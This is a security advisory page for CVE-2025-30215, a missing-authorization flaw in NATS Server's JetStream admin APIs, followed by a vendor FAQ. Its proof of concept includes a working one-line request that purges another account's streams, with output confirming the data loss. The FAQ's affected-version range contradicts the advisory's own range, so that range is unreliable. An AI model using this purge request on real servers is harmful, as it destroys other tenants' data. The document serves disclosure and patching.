CVE-2025-30215

Advisory

The management of JetStream assets happens with messages in the $JS. subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.

Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.

Affected versions

NATS Server:

• Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27

Original Report

(Lightly edited to confirm some supposition and in the summary to use past tense)

nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move.

In all cases, APIs are not properly restricted to system-account users. Instead, any authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on $JS.>.

Only the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.

Reproduction of the ACCOUNT.PURGE case is below. The others are like it.

Details & Impact

Issue 1: $JS.API.ACCOUNT.PURGE.*

Any user may perform an account purge of any other account (including their own).

Risk: total destruction of Jetstream configuration and data.

Issue 2: $JS.API.SERVER.REMOVE

Any user may remove servers from Jetstream clusters.

Risk: Loss of data redundancy, reduction of service quality.

Issue 3: $JS.API.ACCOUNT.STREAM.MOVE.*.* and CANCEL_MOVE

Any user may cause streams to be moved between servers.

Risk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.

Similarly for $JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*

Mitigations

It appears that users without permission to publish on $JS.API.ACCOUNT.> or $JS.API.SERVER.> are unable to execute the above APIs.

Unfortunately, in many configurations, an 'admin' user for a single account will be given permissions for $JS.> (or simply >), which allows the improper access to the system APIs above.

Scope of impact

Issues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.

While I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.

Additional notes

It appears that $JS.API.META.LEADER.STEPDOWN does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.

PoC

Environment

Tested with:
nats-server 2.10.26 (installed via homebrew)
nats cli 0.1.6 (installed via homebrew)
macOS 13.7.4

Reproduction steps

$ nats-server --version
nats-server: v2.10.26

$ nats --version
0.1.6

$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
  store_dir: './tmp'
}
accounts: {
  '$SYS': {
    users: [{user: 'sys', password: 'sys'}]
  },
  'TEST': {
    jetstream: true,
    users: [{user: 'a', password: 'a'}]
  },
  'TEST2': {
    jetstream: true,
    users: [{user: 'b', password: 'b'}]
  }
}

$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...

# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation

# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
                      User: sys
                   Account: $SYS
...

$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
                           User: a
                        Account: TEST
...

$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
                           User: b
                        Account: TEST2
...

# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...

$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"

# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
╭───────────────────────────────────────────────────────────────────────────────╮
│                                    Streams                                    │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name    │ Description │ Created             │ Messages │ Size  │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │             │ 2025-03-02 11:48:49 │ 3        │ 111 B │ 46.01s       │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯

$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined

$ du -h tmp/jetstream
  0B	tmp/jetstream/TEST/streams/stream1/obs
8.0K	tmp/jetstream/TEST/streams/stream1/msgs
 16K	tmp/jetstream/TEST/streams/stream1
 16K	tmp/jetstream/TEST/streams
 16K	tmp/jetstream/TEST
 16K	tmp/jetstream

# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}

# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)

# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
  0B	tmp/jetstream

$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2025-30215 has a CVSS score of 9.6 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.11.1, 2.10.27); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-30215? CVE-2025-30215 is a critical-severity improper authentication vulnerability in github.com/nats-io/nats-server/v2 (go), affecting versions >= 2.11.0-RC.1, < 2.11.1. It is fixed in 2.11.1, 2.10.27. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2025-30215? CVE-2025-30215 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/nats-io/nats-server/v2 are affected by CVE-2025-30215? github.com/nats-io/nats-server/v2 (go) versions >= 2.11.0-RC.1, < 2.11.1 is affected.
4. Is there a fix for CVE-2025-30215? Yes. CVE-2025-30215 is fixed in 2.11.1, 2.10.27. Upgrade to this version or later.
5. Is CVE-2025-30215 exploitable, and should I be worried? Whether CVE-2025-30215 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-30215 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-30215?
   • Upgrade github.com/nats-io/nats-server/v2 to 2.11.1 or later
   • Upgrade github.com/nats-io/nats-server/v2 to 2.10.27 or later